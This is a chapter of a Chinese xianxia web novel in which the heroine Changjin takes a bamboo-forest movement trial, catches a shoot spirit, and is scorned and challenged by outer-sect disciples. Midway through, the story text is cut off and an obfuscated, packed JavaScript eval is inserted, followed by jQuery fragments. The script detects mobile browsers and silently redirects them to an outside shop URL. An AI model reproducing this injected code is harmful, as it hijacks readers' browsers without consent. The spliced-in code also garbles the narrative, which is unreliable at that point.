22. 竹林身法,引众人怒

作品:《高冷师妹不走正道

    长矜过了一月有余才适应那副经脉,而后立刻被常飞霜拎到二生峰上去。


    二生峰上的人多得多,都是外门弟子,看见常飞霜皆是一片问好声。


    常飞霜置若罔闻,只往前走。众人的眼风慢慢移到了她后头跟着的长矜身上。


    只见她身穿的是内门弟子的白衣,头梳成连翘髻,耳旁的发髻只简单各坠了一条白发带。


    那发带随风和衣袍绕在一起,五官秾丽寒郁,一副目下无尘的冷淡模样。


    长矜的气质又和常飞霜差别甚远,非要形容的话,常飞霜是山尖雪,她是夜间雨。


    她是谁已然有了一个隐约的答案。窥探的目光一直跟随到了二生峰那片十分有名的竹林外。


    暮知知刚从里面灰头土脸地走出来,谁知一抬头就看见了常飞霜和长矜,她高兴地跑过来,喊道:“二师姐,长矜,你们也来啦。”


    她虽然修行懈怠,但天赋摆在那里,已然突破到练气中期了。


    白溯就把她往这里一扔,拍手走人了。说什么时候能走出来再去喊他。


    那些跟过来看似也要进去的醉翁之意不在酒的外门弟子听她一喊,面上露出了然的神色。


    果然是道子带回来的那个花瓶小师妹,在问心境之时就有不少暨山弟子看见她最后从问心境里出来,还受了一身伤。


    如今一看不过刚刚入道,练气前期的境界还不稳固,更加肯定心中猜测。常师姐竟然也能容忍这等人入宗门。


    有人在后头嘀咕着,常飞霜又不是聋子,自然听得一清二楚。


    可她无意替长矜澄清。流言蜚语四起时,用言语去证明是最无用的手段。


    她若没点真本事,又怎么在暨山立足?


    虽然常飞霜也听说了她在千秋宫的“英勇战绩”,但未曾亲眼见过长矜的手段。


    所以也不着急离开,只示意长矜进去,她在外头候着。


    暮知知一看来了兴致,她当然不觉得长矜过不了,只是跟着她到门口一边给她科普。


    “这个地方叫竹下避,就是专门用来练身法的。里面有一群萝卜精,你待会儿只要能避开它们喷出的竹叶,一路往前进到出口就可以了。会有计时,刷记录的话有奖励。”


    “可惜太难了,我运用道气闪避还不熟练,至今没通关。长矜你现在才练气前期,别对自己要求太高了。”暮知知说道。


    那入口是一扇竹门,门旁坐着一个筑基修士,要先向他提交弟子令牌才能进去。


    长矜把令牌递给他。


    这人名为郑序,已经是内门弟子了,因着要完成宗门每月贡献任务就到了这块把守竹下避。


    他把令牌往手上刻有阵纹的沙漏一抹,还给长矜,说道:“你就是掌门新收的弟子吧?练气前期就敢来这地方,也不怕脸被割成蜘蛛网。”


    长矜轻笑了一声,说道:“闲事管多了怕被报复,所以发落到这儿来找存在感了?”


    她径直走进去。


    郑序倒是没想到她嘴皮子这般利落,嘴里嘟囔了一句“有你好受的”,就没再说话。


    长矜踏着石板站在了起点,石板两侧竹密深高,地上铺了一层新绿的落叶,掩着底下的浅棕腐叶。


    往前看是一块块石板中间设了一些水池,路径复杂设有好几条路,看不到尽头。


    她往前试探性踏出一步,立刻敏锐地察觉到此地灵机变动。原本只有风吹叶的簌簌声,现下林中风声渐强,飘落在半空中的竹叶飒地一声朝她面上打来。


    长矜灵识早就察觉到了袭来的竹叶,往前轻飘飘闪过,就立刻疾走冲去。


    地下传来隆隆地破土声。


    外头的常飞霜抱剑而立,嘴角扬起弧度。


    ——她特意交代过这群萝卜精,全力轰炸她。


    风声越发剧烈吹动着,无数竹叶如雨落下,又变成如利刃般的小刀疯狂扫向踏在石板的长矜。


    长矜依靠着灵识和这些年的战斗本能闪避着。她的身影忽快忽慢,有节奏地踏过水池前行着 ,不慌不忙里还带着几分游刃有余。


    竹叶扎进水中就失了道气浮在池面飘动着,粼粼波光荡开一片幽绿密影,和一片雪白衣袍。


    土中的东西冒了头,是笋。


    长矜一眼扫过时脑中还在想这笋和萝卜精有什么关系,就感觉到一股杀机涌动。


    竹叶在半空中停滞了。


    成千上万的竹叶同时转动了方向,不留缝隙地往长矜落点的位置刺来。这已经无关于什么身韵不身韵了。


    竹叶刺下的一瞬,长矜一脚腾空而起,手中道气聚拢,削去一小片叶刀,一脚踏在竹杆上。


    竹细且长,被她压弯半截竹身。


    长矜再一脚腾空而起,密集的竹叶把那颗竹削成竹片散在地上。


    一次又一次。


    毫无喘息之机,只有道气调动的一刹那有思虑落点的时间。


    长矜越踏越高,飞跃至竹林上空,余光瞥见无数的绿点从林中射出追踪过来,她突然松了劲,往下栽去。


    手中的道气拢至头顶,避开关键位置,只听见衣袍撕拉破裂的声音和耳边鼓吹的风声。


    她坠到竹林里去,身子扭了一下,径直朝那笋精冲去。


    笋精一下就要缩回土里,长矜灵识如刺对准其中一颗小笋扎去,长矜听到一声状似“萝卜!”呼声的惨叫,手就顺利抓住笋头,一下就要把笋拔出来。


    只是这时长矜发觉自己不能动了。


    她的腿被抓住,常飞霜一剑鞘拍在长矜抓笋的手上,冻得她失去抓力,那笋精咻地一声如蒙大赦埋进土里。


    常飞霜就在半空抓着长矜的小腿不放,晃了两下,冷笑道:“长矜,你挺有本事啊?竹下避被你玩成竹下抓笋了。”


    长矜拍了拍手,说道:“这竹下避也挺不错的,往哪避都避不了。”


    常飞霜哑口无言,放开长矜任由她落在地上。


    长矜滚身站起,下半身衣袍撕裂,不少地方被竹叶割到皮肉现出血痕。


    那原本在门口守着的郑序也进来了,看着她发怔。


    这是什么身法?这是什么修为?练气前期?


    他有点恍惚了。


    谁传的草包花瓶?


    三人从竹林里走了出来,门口那个沙漏也停了,上头浮出一行字。


    半盏茶,二十米。


    “练气前期只能撑半盏茶,还只走了二十米?她不会一直就在前面晃,然后被常师姐捞出来了吧?”


    暮知知听着后头那些外门弟子的窃窃私语,转头恶狠狠地扫视了一眼他们。


    声音静了半刻,一声嗤笑从人群里传


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062053|195061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出:“还不许人说了?没本事凭什么进内门做掌门亲传?”


    暮知知怒声道:“你什么身份,容你放肆!”


    从门口出口的三人只有郑序听着这话步伐微微一顿,又面色如常坐在门旁不说话。


    常飞霜看了一眼说话之人,那人算她为数不多认得之人。


    此人名为薛意,是外门中天赋极好的弟子。


    他修行三年就已经练气圆满,只是一直犹豫不决走什么道途,故而还在外门打磨修为寻道。


    他从目光闪烁不定的人群里踏出,不屑地冲长矜说道:“一年之后,我要你滚出内门。”


    “从哪来到哪去。”


    长矜衣衫发髻凌乱,闻言只抱臂轻抬下颌,说道:“尔等蝼蚁,不配发声。”


    “希望你外门大比里,身体比嘴硬。”薛意冷笑一声,不愿再多浪费时间,扭头离开。


    一言激起千层浪,在这个天资在前修为独大的宗门里头,还有人这样挑衅弟子的属实不多了。这下窃窃私语全都冲到长矜面前。


    “她也配……”


    “不就是仗着那张脸……”


    长矜的美已经到了刺目的妒,主要是她没有展现出任何能掩盖表层皮相的优点。除了掌门亲传的身份一无是处。


    暮知知想要为长矜辩解,又不知怎么开口,嘴笨地想跳脚,却看见常飞霜只挑眉看着。


    她鼓起勇气悄悄去拉常飞霜,想要她说句话。


    常飞霜扫了她一眼,冷声开口道:“宗门禁私斗,违者逐出宗门。”


    暮知知一口气梗得出不来,不是、不是要她说这个话啊!


    声音静下来,可人越来越多,脸上的表情都是不忿的、轻蔑的、憎恶的。


    郑序闭上了眼,也不知道是在想什么。


    长矜满意地看了一圈,往人群里走去。


    她身后跟着常飞霜,人群只好让开道路。


    这个局面她从前几日内门弟子遇上她时就有预料,只是她以为都为宗门子弟了,应当有些理智。


    是她错估了。这些宗门少年正是年轻的时候,比起外头那些散修来说,见识少了太多了。正是听风是风听雨是雨的意气时候。


    可比起看众人仰慕赞叹,果然她还是更喜欢看众人不得。


    因不得而生动的面孔。


    常飞霜带着她回一生峰,说道:“想必今天之后,你的名字会和道子一样响亮。”


    “狂妄愚昧的花瓶吗?”长矜笑了一声,“我会一直努力保持的。”


    常飞霜隔空点了点她的眉心。


    “回去换身衣服,这法袍可没有护体之效。这是在宗内行走时特制的日常布料,护不住你半点。哪伤了就去芥子堂换药抹就是了。”


    “不过这些也都是要贡献度的,内门弟子每月也才三百点,你且省着用吧。”


    长矜漫不经心地点点头。常飞霜哪能想到她把主意打在了孙旭林长老身上。


    “之后还要去竹下避过了身法,你可莫再对萝卜精动手了。它们出了土可是要死的。”常飞霜说着。


    长矜说:“那就要看到底是竹下避还是竹下避无可避了。”


    “……”常飞霜没忍住又是一指脑瓜崩弹在长矜头上,弹得她一激灵。长矜正被一指冻得一缩,就见常飞霜又消失在视野里。